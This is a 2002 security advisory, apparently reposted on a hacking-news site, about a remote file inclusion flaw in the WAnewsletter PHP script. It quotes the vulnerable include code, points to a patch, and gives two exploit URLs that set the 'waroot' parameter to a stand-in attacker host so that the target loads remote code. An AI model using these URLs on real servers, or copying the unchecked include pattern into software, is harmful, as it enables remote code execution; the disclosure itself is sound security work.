Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » WAnewsletter (PHP)

WAnewsletter (PHP)

by Nikola Strahija on December 19th, 2002 There is a problem with WAnewsletter (PHP) 2.0beta -> 2.1.0.


Problem : Include file


PHP Code/Location :
같같같같같같같같같
newsletter.php 2.1beta -> 2.1.0 :
----------------------------------------------------
if( !empty($HTTP_POST_VARS['action']) )
{
$action = $HTTP_POST_VARS['action'];
}
else if( !empty($HTTP_GET_VARS['action']) )
{
$action = $HTTP_GET_VARS['action'];
}
else
{
$action = '';
}

if( $action != '' || defined('IN_WA_FORM') )
{
$login = false;
include_once($waroot . 'start.php');
}
[...]
----------------------------------------------------

sql/db_type.php 2.0.2 -> 2.1.0 :
----------------------------------------
switch($dbtype)
{
case 'mysql':
include_once($waroot . 'sql/mysql/mysql.inc.php');
break;

case 'mssql':
include_once($waroot . 'sql/mssql/mssql.inc.php');
break;

default:
echo 'Le type de base de donnes n'est pas dfini !';
exit;
break;
}
[...]
----------------------------------------


etc...

Exploits :
같같같같같
http://[target]/newsletter.php?action=1&waroot=http://[attacker]/
http://[target]/sql/db_type.php?waroot=http://[attacker]/

Patch :
같같같
A patch can be found on http://www.phpsecure.org .

More details :
같같같같같같같
In French :
http://www.frog-man.org/tutos/WAnewsletter.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FWAnewsletter.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools



Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »